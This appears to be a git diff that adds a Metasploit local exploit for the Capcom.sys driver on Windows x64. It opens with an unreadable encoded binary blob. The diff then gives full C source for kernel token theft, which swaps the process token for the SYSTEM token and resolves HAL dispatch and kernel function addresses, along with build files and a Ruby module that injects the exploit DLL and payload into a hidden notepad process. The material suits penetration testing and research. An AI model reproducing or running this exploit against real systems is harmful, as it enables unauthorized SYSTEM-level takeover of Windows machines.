zBy*9Lnk4Ffi{c=hmF1WA?7&2v9+o|Axie#4{(|iEjJT}S0x?qOe_Zv&J-Mu%?`GMp_^z;__iAkc8!7@on| zuR;Xl?t{BG?!LJ7Oz9cn5Zq)Jid)%Hxa60p0XM~A#7)n_a1Y>{o?n8So?}=^a|cDH z;W)++PtDI9em<8eNf?EHGj57I2RDV2i`#_TfqOV^s1z;zln-)WjGNNDhUwj)loxdO zH2bxn6wdE(UyhsBQxo2Ro6@@(H^sLVH$C5joAPuVH`$-YP4?kn3h_tr495TFW&GJo z25kD->%STCKd1MfKmSao_vg>w`sd8gKP**0D<)J0as8~Am^ADE=l}k{B^bJZAX2Mh zGZb{n-OKO3gv+P;18LZ>Mbb5oxBit(=2gWSt%3W-O>b{9N$d0e*Zd?OnVCNG3*B4T z{j+fY+QyGJ4i$gd=-K$2pAUc42F=H8yijJp{cmrZ#BFci{`T1O-JfcCzx8{}U#*fU zD~^-%O!xq0mkzGudidze-@P(29mF)8>2RhdrlXlgGL2yx%hb#?iRrCOvzR)W7BOAH zw3z8yrlm~RGp%6y5YtMgk1?%cTEn!C>5EJcGF9OpWBfYPcbR&ab}|)j$azE~)8R}_ zOe2}bGEHJiyrwIKaTZet(;}wDOiP(oFs)=-!?d1h6Vq0volNy_%5<8TMly|I8q3to z)Xp@CX)@CkrddoKOpBNnGp%4+!?d2M3crbQ3sVo%PNqgaU(CcbmT3ahc}!E77BQ`2 zs?H~?i0?j+s`xIs|I7dDrgsmgr_cW_d&AzVn4!rrT6wZH(B?yp^4G#*6bC}!MU=xY>%uED#N#-^x4WWv1~H@)BK zf>B;o0cL5ye^W1?`JCQsHb2(aYfd^~@R~<|J3yI>|4@06GMir98zId>`;H8|Z#GfInoS*le#Q}1v-9OYWt*E9{y63@L+_gv(OzP{;}55QAJ@NE`Q^L+Z2o>< zmG$#A1MXjQ_jBfbQ{Je4tt)P*ZTR=4A07Mp@~hXb`IR-&IHb07m+_;Q51zBOZ+-onv+ZYQ-1+<0 zY#GN6|E_=auBwQSHcjuBF{H0+&2L>xkJuBFr+vKj!HJWvt$*_KxrtlIq0u*>MiM$KbTeiaNdBD|CoB<)Rh?#A0`jkbKUN2qu+xDsBu77dboqu`bp?z!>cGi|*4n1^e)bX9b?;m?Y1|#dPmX$L>=*GBw@j?QXK%xTx3}C~z44i` zA7(unwsp?q)|>YjuN)KqarA`ov*zwPzGTe(HwSHQcz^%OA3TRf{P~m8TNeCo%D$wM zOT%a0n6c=`lKXcDKeRIJ=grEA$&dP?YPN3zKJd#!cAck4ZB8&7Nl(u z=tkV+cQfd^aoE4{E1f6>oi-kQ9fV^AEu8?r^c-};M6BC_ITkcvk`QZQ4g$SyGRm5s zgF0~&Z;4j2nds0dGCjjV-^YCr?pr}`!@5awp8|^Sv1{ohdK7mj+#Cb_jGuRcM*Uj4 z9}ntca}nr$Y_0%(bE=H11@tG}6u!|cL^W|x2HklF<^8h z%n6|P<0c+9fL@J7(zn8l@63zWZ$R0>OtdOqhVwM&nFPo-o_`FwAW_OgGU$ynh3LTZ z1kiy=0s?}v0JY7Q@?Z!37IzGu6ZOmyVhYSe=g-Br>0nL~!%aLPN^8c*O!UaDC^Pt_ z^-o{nrZjvDx?rJ<*8zGz?kc#c0DT=d`6c?Bf0Mkr6*S^Dj7`GLaL|>wsqR#QZcKq6 zJl_mzOqKPKXb5H(>3Lt!&c%=qn2Fw(g?USuD?o#97h?3~s0*NLaSwu-=%=`;UVjF9 z?GmID&tpN?kQuVE7Ic0N$`{Wapx5Q1UXUBmmvEDt2GFQHY0d&2pD)cs_u?jgHh_MO zTjL36i386OPRt$1BkmP2*MWY6o5K7S^rr&w3eRc#!Vui#Hym^}ZsOZKP+D!$3^z{D z-{B@V$3VOAhV8&}(^BX(+@>p_i$L|uq#L4lEeB8VyaM!T+-8^?KwEIzVQvLIgF6A{ z4$!Y~C&BzJ==wWl8i>A#o8l#U$z3x2qe17hxe3&=0r8x%lCN?L7?qPF1Xi%{XpXf^5BtPpx3)bM>gfN|; z!|#S1!%XxW+$}JF3;IThKw%;-&?9ctcbJcXPG2w6W(VDcI|DgXd;`FKtIAwY5o}W+6PgNFq=Ui z!A)}b80c*e(fa^83Uui2W!i>=&c#iEE*Miu(**h{CPIx^hxi$2X1#Qu1^WDRP?LE6 zE~x1RyrW?z+K!v*#b=<;y@U6Qwo(WF|`M{mD#}*7lQ`D6P>aGf`R_PiCUDmYmE)^Vv*mv1xrZJts%$iPBnKG83iswPYrG7n>o~|MOQfWDl`aY^>Z^ zwXtSn!^WnK%^T}B)o*Ip)U>Izrn07{roN`BrlrPH(^;e67QQWVTkJObw&ZPD+lsc8 zZmZl@v#owx)3%mvo^7H7@*RM{s`OQnRk2m}s^qGys-mjWs>-UGs`{#?s+KBGRcDoc zL->Zs4Y3>S8Q=76uZg3DS1=YrlL)yn<_WeAjM6aS~ht$b#Bsc4&NNPId-#s zbMoe_%|)9_H&<@1*<8Q5X>-eF&*sj}`YqvGBDchDv2RJ4B+5Cb=f7rl{uc<6`GFeQkJcWNmD%y*9Zv ztG1}Nw6?OgrnbJeskWuoQ`=dq-yXg_a(nD{`}XARS=)=Ymu|1zUbDS^d(-xo?VjzO z+x0ubcSP=p-C^I6yd!Hz(T>s`l{;#7)bD88(Xzv{qjQITXZX&@ov}OZJCk>2?JU|^ zy0da;&CdFrO*>n5dUkg1)b9%46}c;Rmwi|Au9RJlUB$a9c2(`F+tskEc~|SMj$LB6 zakpuA%x?4Uq}?gI9lMKnSM09ZUAMbock}Mn-5t<4(06zRiYjB3sVb(*T$NOnQst;B zuBxc2s;aAMsA{fit?H-}8;l!F8)7z?HzaLH+2GhvyrE)4)rPta4I7#_v~K9wAT}B| znl{F4G;d7Wn6lBav3O$zWV8-4+PtxKW5-6Z$+*e1DQ1&-Q_`lCO^!{)n<_R{ZK{Lh zHg9U()UioyHf}a;j@fM9oU}P*vtx7d=8DZ#o9i|=Y;NA%y18Ss*kasb+7h$Hyd`N% z$`;3#;w=?hsq=+#nlznRn>LX4b{!nt<@dX zVykhhX=}_@^VX!TDO(*|i?>#6t=d|*wP9=X*4C{ZTSbkr##9qiW3EZ6NvUzv6xUSL zRMphgG}JWLwAOUgh;7Dgrfo6X%-fQ-rEGI-E8bSIt!i7{wuWuZ+gi7EY!kJ{T2pOI zt+_U-Hl@~4TU=XFTUA?E+fdtF+gjUEE4CZAo3_VnH*Zhcp0eGsy?A@Y_Nwi5+Z(nw zZ*Se+v0dyi?lA3$*RF;_|yb#qemUFgC~{XNe#HtQCkNYZh#awLylV^$sL+38zIdm$a4%N+Po`?Wx5Db YT?)Cbgk;x1w(B+N{-0O3|7 + + + + Release + x64 + + + + + + + + + + + + {a67ba207-7aac-4850-beb1-e7fa07bac0b1} + capcom_sys_exec + Win32Proj + + + + DynamicLibrary + MultiByte + false + v120_xp + + + + + + + + + + + <_ProjectFileVersion>10.0.30319.1 + $(Configuration)\$(Platform)\ + $(Configuration)\$(Platform)\ + false + false + AllRules.ruleset + + + $(ProjectName).$(PlatformShortName) + + + $(VC_IncludePath);$(WindowsSdk_71A_IncludePath);../../../win_kernel_common + + + + MinSpace + OnlyExplicitInline + false + ..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + WIN32;NDEBUG;_WINDOWS;_USRDLL;CAPCOM_SYS_EXEC_EXPORTS;%(PreprocessorDefinitions) + true + MultiThreaded + false + + + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + Level3 + ProgramDatabase + false + Size + true + + + psapi.lib;%(AdditionalDependencies) + %(AdditionalLibraryDirectories) + false + %(IgnoreSpecificDefaultLibraries) + %(DelayLoadDLLs) + false + true + $(OutDir)\capcom_sys_exec.map + Windows + + + + + false + + + $(OutDir)\capcom_sys_exec.lib + false + + + /ignore:4070 + + + editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.01 "$(TargetDir)$(TargetFileName)" > NUL +IF EXIST "..\..\..\..\..\data\exploits\capcom_sys_exec\" GOTO COPY + mkdir "..\..\..\..\..\data\exploits\capcom_sys_exec\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\capcom_sys_exec\" + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/capcom_sys_exec/make.msbuild b/external/source/exploits/capcom_sys_exec/make.msbuild new file mode 100755 index 0000000000..cd93d76f5c --- /dev/null +++ b/external/source/exploits/capcom_sys_exec/make.msbuild @@ -0,0 +1,17 @@ + + + + .\capcom_sys_exec.sln + + + + + + + + + + + + + diff --git a/external/source/exploits/make.bat b/external/source/exploits/make.bat index 53aaf45e4e..bf05a67591 100755 --- a/external/source/exploits/make.bat +++ b/external/source/exploits/make.bat @@ -92,6 +92,13 @@ IF "%ERRORLEVEL%"=="0" ( POPD ) +IF "%ERRORLEVEL%"=="0" ( + ECHO "Building CAPCOM.SYS Driver exec" + PUSHD capcom_sys_exec + msbuild.exe make.msbuild /target:%PLAT% + POPD +) + FOR /F "usebackq tokens=1,2 delims==" %%i IN (`wmic os get LocalDateTime /VALUE 2^>NUL`) DO IF '.%%i.'=='.LocalDateTime.' SET LDT=%%j SET LDT=%LDT:~0,4%-%LDT:~4,2%-%LDT:~6,2% %LDT:~8,2%:%LDT:~10,2%:%LDT:~12,6% echo Finished %ldt% diff --git a/external/source/win_kernel_common/kernel.c b/external/source/win_kernel_common/kernel.c new file mode 100755 index 0000000000..070acf3322 --- /dev/null +++ b/external/source/win_kernel_common/kernel.c @@ -0,0 +1,274 @@ +#include +#include "windefs.h" +#include "kernel.h" +#include + +#define SYSTEM_PID 4 +#define DRIVER_COUNT 1024 + +typedef NTSTATUS(NTAPI*PLOOKUPPROCESSBYID)(HANDLE processId, PVOID process); +typedef PACCESS_TOKEN(NTAPI*PREFPRIMARYTOKEN)(PVOID process); +typedef NTSTATUS(WINAPI*PNTQUERYSYSTEMINFORMATION)(SYSTEM_INFORMATION_CLASS sysInfoClass, PVOID sysInfo, ULONG sysInfoLength, PULONG returnLength); +typedef NTSTATUS(WINAPI*PNTQUERYINTERVALPROFILE)(DWORD profileSource, PULONG interval); + +static ULONG_PTR g_pHalDispatch = 0L; +static PLOOKUPPROCESSBYID g_pLookupProcessById = NULL; +static PREFPRIMARYTOKEN g_pRefPrimaryToken = NULL; +static DWORD g_currentPid = 0; +static DWORD g_replaced = FALSE; + +static NTSTATUS WINAPI NtQueryIntervalProfile(DWORD profileSource, PULONG interval) +{ + static PNTQUERYINTERVALPROFILE pNtQueryIntervalProfile = NULL; + + if (pNtQueryIntervalProfile == NULL) + { + pNtQueryIntervalProfile = (PNTQUERYINTERVALPROFILE)GetProcAddress(GetModuleHandle(TEXT("ntdll")), "NtQueryIntervalProfile"); + } + + return pNtQueryIntervalProfile(profileSource, interval); +} + +static NTSTATUS WINAPI NtQuerySystemInformation(SYSTEM_INFORMATION_CLASS sysInfoClass, PVOID sysInfo, ULONG sysInfoLength, PULONG returnLength) +{ + static PNTQUERYSYSTEMINFORMATION pNtQuerySystemInformation = NULL; + + if (pNtQuerySystemInformation == NULL) + { + pNtQuerySystemInformation = (PNTQUERYSYSTEMINFORMATION)GetProcAddress(GetModuleHandle(TEXT("ntdll")), "NtQuerySystemInformation"); + } + + return pNtQuerySystemInformation(sysInfoClass, sysInfo, sysInfoLength, returnLength); +} + +static PVOID get_system_info(SYSTEM_INFORMATION_CLASS infoClass) +{ + ULONG size = 0x100; + const ULONG maxSize = size << 10; + PVOID buffer = NULL; + NTSTATUS status = STATUS_INFO_LENGTH_MISMATCH; + ULONG memIO = 0; + + while (status == STATUS_INFO_LENGTH_MISMATCH && maxSize > size) + { + buffer = buffer == NULL ? HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size) : HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, buffer, size); + status = NtQuerySystemInformation(infoClass, buffer, size, &memIO); + size = size << 1; + } + + if (NT_SUCCESS(status)) + { + return buffer; + } + + if (buffer != NULL) + { + HeapFree(GetProcessHeap(), 0, buffer); + } + + return NULL; +} + +static VOID find_and_replace_member(PDWORD_PTR pStruct, DWORD_PTR currentValue, DWORD_PTR newValue, DWORD_PTR maxSize) +{ + DWORD_PTR mask = ~(sizeof(DWORD_PTR) == sizeof(DWORD) ? 7 : 0xf); + g_replaced = FALSE; + + for (DWORD_PTR i = 0; i < maxSize; ++i) + { + if (((pStruct[i] ^ currentValue) & mask) == 0) + { + pStruct[i] = newValue; + g_replaced = TRUE; + return; + } + } +} + +BOOL is_driver_loaded(wchar_t* driverName) +{ + // start by finding out how big the buffer size needs to be: + LPVOID derp = 0; + DWORD sizeNeeded = 0; + BOOL result = FALSE; + + // determine the size required first + EnumDeviceDrivers(&derp, sizeof(derp), &sizeNeeded); + + LPVOID* driverList = (LPVOID*)malloc(sizeNeeded); + + if (EnumDeviceDrivers(driverList, sizeNeeded, &sizeNeeded)) + { + wchar_t driver[MAX_PATH]; + DWORD driverCount = sizeNeeded / sizeof(LPVOID); + + for (DWORD i = 0; i < driverCount; ++i) + { + if (GetDeviceDriverBaseNameW(driverList[i], driver, MAX_PATH) + && _wcsicmp(driver, driverName) == 0) + { + result = TRUE; + break; + } + } + } + + free(driverList); + + return result; +} + +// Simple wrapper over the steal_process_token that takes the four arguments used by the function we +// overwrite in the HAL dispatch +VOID hal_dispatch_steal_process_token(DWORD_PTR arg1, DWORD_PTR arg2, DWORD_PTR arg3, DWORD_PTR arg4) +{ + steal_process_token(); +} + +VOID steal_process_token() +{ + LPVOID currentProcessInfo = NULL; + LPVOID systemProcessInfo = NULL; + + g_pLookupProcessById((HANDLE)g_currentPid, ¤tProcessInfo); + g_pLookupProcessById((HANDLE)SYSTEM_PID, &systemProcessInfo); + + PACCESS_TOKEN targetToken = g_pRefPrimaryToken(currentProcessInfo); + PACCESS_TOKEN systemToken = g_pRefPrimaryToken(systemProcessInfo); + + find_and_replace_member((PDWORD_PTR)currentProcessInfo, (DWORD_PTR)targetToken, (DWORD_PTR)systemToken, 0x200); +} + +BOOL prepare_for_kernel() +{ + BOOL result = FALSE; + PRTL_PROCESS_MODULES procModules = NULL; + CHAR fullKernelPath[MAX_PATH * 2 + 1] = { 0 }; + PVOID mappedKernel = NULL; + + do + { + procModules = get_system_info(SystemModuleInformation); + if (procModules == NULL || procModules->NumberOfModules == 0) + { + break; + } + + UINT length = GetSystemDirectoryA(fullKernelPath, MAX_PATH); + fullKernelPath[length] = '\\'; + + const char* firstModule = (const char*)&procModules->Modules[0].FullPathName[procModules->Modules[0].OffsetToFileName]; + strcat_s(fullKernelPath, MAX_PATH, firstModule); + + ULONG_PTR kernelBase = (ULONG_PTR)procModules->Modules[0].ImageBase; + mappedKernel = LoadLibraryExA(fullKernelPath, NULL, DONT_RESOLVE_DLL_REFERENCES); + if (mappedKernel == NULL) + { + break; + } + + ULONG_PTR funcAddr = (ULONG_PTR)GetProcAddress(mappedKernel, "PsLookupProcessByProcessId"); + + if (funcAddr == 0L) + { + break; + } + + g_pLookupProcessById = (PLOOKUPPROCESSBYID)(kernelBase + funcAddr - (ULONG_PTR)mappedKernel); + + funcAddr = (ULONG_PTR)GetProcAddress(mappedKernel, "PsReferencePrimaryToken"); + + if (funcAddr == 0L) + { + break; + } + + g_pRefPrimaryToken = (PREFPRIMARYTOKEN)(kernelBase + funcAddr - (ULONG_PTR)mappedKernel); + + funcAddr = (ULONG_PTR)GetProcAddress(mappedKernel, "HalDispatchTable"); + + if (funcAddr != 0L) + { + g_pHalDispatch = kernelBase + funcAddr - (ULONG_PTR)mappedKernel; + } + + g_currentPid = GetCurrentProcessId(); + + result = TRUE; + } while (0); + + if (mappedKernel != NULL) + { + FreeLibrary(mappedKernel); + } + + if (procModules != NULL) + { + HeapFree(GetProcessHeap(), 0, procModules); + } + + return result; +} + +BOOL was_token_replaced() +{ + return g_replaced; +} + +ULONG_PTR get_hal_dispatch_pointer() +{ + return g_pHalDispatch + sizeof(ULONG_PTR); +} + +VOID invoke_hal_dispatch_pointer() +{ + ULONG ignored; + NtQueryIntervalProfile(1234, &ignored); +} + +DWORD get_page_size() +{ + static DWORD pageSize = 0; + if (pageSize == 0) + { + SYSTEM_INFO si; + GetSystemInfo(&si); + pageSize = si.dwPageSize; + } + return pageSize; +} + +BOOL create_anon_mapping(MemMapping* memMap) +{ + memMap->mapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, get_page_size(), NULL); + if (memMap->mapping == NULL) + { + return FALSE; + } + + memMap->buffer = (LPBYTE)MapViewOfFile(memMap->mapping, FILE_MAP_ALL_ACCESS, 0, 0, get_page_size()); + if (memMap->buffer == NULL) + { + destroy_anon_mapping(memMap); + return FALSE; + } + + return TRUE; +} + +VOID destroy_anon_mapping(MemMapping* memMap) +{ + if (memMap != NULL) + { + if (memMap->buffer) + { + UnmapViewOfFile(memMap->buffer); + memMap->buffer = NULL; + } + if (memMap->mapping != NULL) + { + CloseHandle(memMap->mapping); + memMap->mapping = NULL; + } + } +} \ No newline at end of file diff --git a/external/source/win_kernel_common/kernel.h b/external/source/win_kernel_common/kernel.h new file mode 100755 index 0000000000..492b7a7ade --- /dev/null +++ b/external/source/win_kernel_common/kernel.h @@ -0,0 +1,23 @@ +#ifndef _KERNEL_H +#define _KERNEL_H + +#include "windefs.h" + +typedef struct _MemMapping +{ + HANDLE mapping; + LPBYTE buffer; +} MemMapping; + +BOOL was_token_replaced(); +BOOL prepare_for_kernel(); +VOID steal_process_token(); +VOID hal_dispatch_steal_process_token(); +ULONG_PTR get_hal_dispatch_pointer(); +DWORD get_page_size(); +BOOL create_anon_mapping(MemMapping* memMap); +VOID destroy_anon_mapping(MemMapping* memMap); +VOID invoke_hal_dispatch_pointer(); +BOOL is_driver_loaded(wchar_t* driverName); + +#endif diff --git a/external/source/win_kernel_common/windefs.h b/external/source/win_kernel_common/windefs.h new file mode 100755 index 0000000000..a0ec2e0d94 --- /dev/null +++ b/external/source/win_kernel_common/windefs.h @@ -0,0 +1,199 @@ +#ifndef _WINDEFS_H +#define _WINDEFS_H + +// Hooray for windows API stuff being so shit including different files results in a mess +#pragma warning(disable: 4005) // Macro redefinition + +#include +#include +#include + +#ifndef NT_SUCCESS +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) +#endif + +#ifndef SYSTEM_INFORMATION_CLASS +typedef enum _SYSTEM_INFORMATION_CLASS +{ + SystemBasicInformation = 0, + SystemProcessorInformation = 1, + SystemPerformanceInformation = 2, + SystemTimeOfDayInformation = 3, + SystemPathInformation = 4, + SystemProcessInformation = 5, + SystemCallCountInformation = 6, + SystemDeviceInformation = 7, + SystemProcessorPerformanceInformation = 8, + SystemFlagsInformation = 9, + SystemCallTimeInformation = 10, + SystemModuleInformation = 11, + SystemLocksInformation = 12, + SystemStackTraceInformation = 13, + SystemPagedPoolInformation = 14, + SystemNonPagedPoolInformation = 15, + SystemHandleInformation = 16, + SystemObjectInformation = 17, + SystemPageFileInformation = 18, + SystemVdmInstemulInformation = 19, + SystemVdmBopInformation = 20, + SystemFileCacheInformation = 21, + SystemPoolTagInformation = 22, + SystemInterruptInformation = 23, + SystemDpcBehaviorInformation = 24, + SystemFullMemoryInformation = 25, + SystemLoadGdiDriverInformation = 26, + SystemUnloadGdiDriverInformation = 27, + SystemTimeAdjustmentInformation = 28, + SystemSummaryMemoryInformation = 29, + SystemMirrorMemoryInformation = 30, + SystemPerformanceTraceInformation = 31, + SystemObsolete0 = 32, + SystemExceptionInformation = 33, + SystemCrashDumpStateInformation = 34, + SystemKernelDebuggerInformation = 35, + SystemContextSwitchInformation = 36, + SystemRegistryQuotaInformation = 37, + SystemExtendServiceTableInformation = 38, + SystemPrioritySeperation = 39, + SystemVerifierAddDriverInformation = 40, + SystemVerifierRemoveDriverInformation = 41, + SystemProcessorIdleInformation = 42, + SystemLegacyDriverInformation = 43, + SystemCurrentTimeZoneInformation = 44, + SystemLookasideInformation = 45, + SystemTimeSlipNotification = 46, + SystemSessionCreate = 47, + SystemSessionDetach = 48, + SystemSessionInformation = 49, + SystemRangeStartInformation = 50, + SystemVerifierInformation = 51, + SystemVerifierThunkExtend = 52, + SystemSessionProcessInformation = 53, + SystemLoadGdiDriverInSystemSpace = 54, + SystemNumaProcessorMap = 55, + SystemPrefetcherInformation = 56, + SystemExtendedProcessInformation = 57, + SystemRecommendedSharedDataAlignment = 58, + SystemComPlusPackage = 59, + SystemNumaAvailableMemory = 60, + SystemProcessorPowerInformation = 61, + SystemEmulationBasicInformation = 62, + SystemEmulationProcessorInformation = 63, + SystemExtendedHandleInformation = 64, + SystemLostDelayedWriteInformation = 65, + SystemBigPoolInformation = 66, + SystemSessionPoolTagInformation = 67, + SystemSessionMappedViewInformation = 68, + SystemHotpatchInformation = 69, + SystemObjectSecurityMode = 70, + SystemWatchdogTimerHandler = 71, + SystemWatchdogTimerInformation = 72, + SystemLogicalProcessorInformation = 73, + SystemWow64SharedInformationObsolete = 74, + SystemRegisterFirmwareTableInformationHandler = 75, + SystemFirmwareTableInformation = 76, + SystemModuleInformationEx = 77, + SystemVerifierTriageInformation = 78, + SystemSuperfetchInformation = 79, + SystemMemoryListInformation = 80, + SystemFileCacheInformationEx = 81, + SystemThreadPriorityClientIdInformation = 82, + SystemProcessorIdleCycleTimeInformation = 83, + SystemVerifierCancellationInformation = 84, + SystemProcessorPowerInformationEx = 85, + SystemRefTraceInformation = 86, + SystemSpecialPoolInformation = 87, + SystemProcessIdInformation = 88, + SystemErrorPortInformation = 89, + SystemBootEnvironmentInformation = 90, + SystemHypervisorInformation = 91, + SystemVerifierInformationEx = 92, + SystemTimeZoneInformation = 93, + SystemImageFileExecutionOptionsInformation = 94, + SystemCoverageInformation = 95, + SystemPrefetchPatchInformation = 96, + SystemVerifierFaultsInformation = 97, + SystemSystemPartitionInformation = 98, + SystemSystemDiskInformation = 99, + SystemProcessorPerformanceDistribution = 100, + SystemNumaProximityNodeInformation = 101, + SystemDynamicTimeZoneInformation = 102, + SystemCodeIntegrityInformation = 103, + SystemProcessorMicrocodeUpdateInformation = 104, + SystemProcessorBrandString = 105, + SystemVirtualAddressInformation = 106, + SystemLogicalProcessorAndGroupInformation = 107, + SystemProcessorCycleTimeInformation = 108, + SystemStoreInformation = 109, + SystemRegistryAppendString = 110, + SystemAitSamplingValue = 111, + SystemVhdBootInformation = 112, + SystemCpuQuotaInformation = 113, + SystemNativeBasicInformation = 114, + SystemErrorPortTimeouts = 115, + SystemLowPriorityIoInformation = 116, + SystemBootEntropyInformation = 117, + SystemVerifierCountersInformation = 118, + SystemPagedPoolInformationEx = 119, + SystemSystemPtesInformationEx = 120, + SystemNodeDistanceInformation = 121, + SystemAcpiAuditInformation = 122, + SystemBasicPerformanceInformation = 123, + SystemQueryPerformanceCounterInformation = 124, + SystemSessionBigPoolInformation = 125, + SystemBootGraphicsInformation = 126, + SystemScrubPhysicalMemoryInformation = 127, + SystemBadPageInformation = 128, + SystemProcessorProfileControlArea = 129, + SystemCombinePhysicalMemoryInformation = 130, + SystemEntropyInterruptTimingInformation = 131, + SystemConsoleInformation = 132, + SystemPlatformBinaryInformation = 133, + SystemPolicyInformation = 134, + SystemHypervisorProcessorCountInformation = 135, + SystemDeviceDataInformation = 136, + SystemDeviceDataEnumerationInformation = 137, + SystemMemoryTopologyInformation = 138, + SystemMemoryChannelInformation = 139, + SystemBootLogoInformation = 140, + SystemProcessorPerformanceInformationEx = 141, + SystemSpare0 = 142, + SystemSecureBootPolicyInformation = 143, + SystemPageFileInformationEx = 144, + SystemSecureBootInformation = 145, + SystemEntropyInterruptTimingRawInformation = 146, + SystemPortableWorkspaceEfiLauncherInformation = 147, + SystemFullProcessInformation = 148, + SystemKernelDebuggerInformationEx = 149, + SystemBootMetadataInformation = 150, + SystemSoftRebootInformation = 151, + SystemElamCertificateInformation = 152, + SystemOfflineDumpConfigInformation = 153, + SystemProcessorFeaturesInformation = 154, + SystemRegistryReconciliationInformation = 155, + SystemEdidInformation = 156, + MaxSystemInfoClass = 157 +} SYSTEM_INFORMATION_CLASS; +#endif + +typedef struct _RTL_PROCESS_MODULE_INFORMATION +{ + HANDLE Section; + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[256]; +} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION; + +typedef struct _RTL_PROCESS_MODULES +{ + ULONG NumberOfModules; + RTL_PROCESS_MODULE_INFORMATION Modules[1]; +} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES; + +#endif diff --git a/modules/exploits/windows/local/capcom_sys_exec.rb b/modules/exploits/windows/local/capcom_sys_exec.rb new file mode 100644 index 0000000000..842a5afe08 --- /dev/null +++ b/modules/exploits/windows/local/capcom_sys_exec.rb @@ -0,0 +1,118 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/post/windows/reflective_dll_injection' +require 'rex' + +class MetasploitModule < Msf::Exploit::Local + Rank = NormalRanking + + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Process + include Msf::Post::Windows::ReflectiveDLLInjection + + def initialize(info={}) + super(update_info(info, { + 'Name' => 'Windows Capcom.sys kernel execution exploit (x64 only)', + 'Description' => %q{ + This module abuses the Capcom.sys kernel driver's function that allows for an + arbitrary function to be executed in the kernel from user land. This function + purposely disables SMEP prior to invoking a function given by the caller. + This has been tested on Windows 7 x64. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'TheWack0lian', # Issue discovery + 'OJ Reeves' # exploit and msf module + ], + 'Arch' => [ ARCH_X86_64], + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'DefaultOptions' => { + 'EXITFUNC' => 'thread', + }, + 'Targets' => [ + [ 'Windows x64 (<= 8)', { 'Arch' => ARCH_X86_64 } ] + ], + 'Payload' => { + 'Space' => 4096, + 'DisableNops' => true + }, + 'References' => [ + ['URL', 'https://twitter.com/TheWack0lian/status/779397840762245124'] + ], + 'DefaultTarget' => 0 + })) + end + + def check + if sysinfo['OS'] !~ /windows 7/i + return Exploit::CheckCode::Unknown + end + + if sysinfo['Architecture'] =~ /(wow|x)64/i + arch = ARCH_X86_64 + else + return Exploit::CheckCode::Safe + end + + file_path = expand_path('%windir%') << '\\system32\\capcom.sys' + return Exploit::CheckCode::Safe unless file_exist?(file_path) + + # TODO: check for the capcom.sys driver and its version. + return Exploit::CheckCode::Appears + end + + def exploit + if is_system? + fail_with(Failure::None, 'Session is already elevated') + end + + check_result = check + if check_result == Exploit::CheckCode::Safe || check_result == Exploit::CheckCode::Unknown + fail_with(Failure::NotVulnerable, 'Exploit not available on this system.') + end + + if sysinfo['Architecture'] =~ /wow64/i + fail_with(Failure::NoTarget, 'Running against WOW64 is not supported, please get an x64 session') + elsif sysinfo['Architecture'] =~ /x64/ && target.arch.first == ARCH_X86 + fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86') + end + + print_status('Launching notepad to host the exploit...') + notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true}) + begin + process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) + print_good("Process #{process.pid} launched.") + rescue Rex::Post::Meterpreter::RequestError + # Reader Sandbox won't allow to create a new process: + # stdapi_sys_process_execute: Operation failed: Access is denied. + print_status('Operation failed. Trying to elevate the current process...') + process = client.sys.process.open + end + + print_status("Reflectively injecting the exploit DLL into #{process.pid}...") + + library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'capcom_sys_exec', + 'capcom_sys_exec.x64.dll') + library_path = ::File.expand_path(library_path) + + print_status("Injecting exploit into #{process.pid}...") + exploit_mem, offset = inject_dll_into_process(process, library_path) + + print_status("Exploit injected. Injecting payload into #{process.pid}...") + payload_mem = inject_into_process(process, payload.encoded) + + # invoke the exploit, passing in the address of the payload that + # we want invoked on successful exploitation. + print_status('Payload injected. Executing exploit...') + process.thread.create(exploit_mem + offset, payload_mem) + + print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') + end + +end